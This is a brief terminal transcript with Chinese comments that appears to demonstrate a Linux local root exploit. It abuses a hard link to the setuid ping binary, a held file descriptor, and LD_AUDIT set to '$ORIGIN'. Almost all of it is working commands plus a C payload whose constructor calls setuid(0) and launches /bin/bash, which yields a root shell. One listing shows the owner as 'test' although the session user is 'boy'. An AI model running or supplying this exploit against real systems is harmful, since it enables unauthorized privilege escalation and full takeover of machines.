用普通用户boy作为测试对象

[boy@localhost ~]$ mkdir /tmp/exploit
[boy@localhost ~]$ ln /bin/ping /tmp/exploit/target #使用ping命令的suid特性创建一个链接
[boy@localhost ~]$  exec 3< /tmp/exploit/target #调用命令
[boy@localhost ~]$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 Aug 17 21:41 /proc/35612/fd/3 -> /tmp/exploit/target
[boy@localhost ~]$ rm -rf /tmp/exploit/
[boy@localhost ~]$ ls -l /proc/$$/fd/3
[boy@localhost ~]$ vim payload.c 
void __attribute__((constructor)) init()     //在配置文件加入如下的内容
{
    setuid(0);
    system("/bin/bash");
}

[boy@localhost ~]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
[boy@localhost ~]$ ls -l /tmp/exploit
[boy@localhost ~]$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3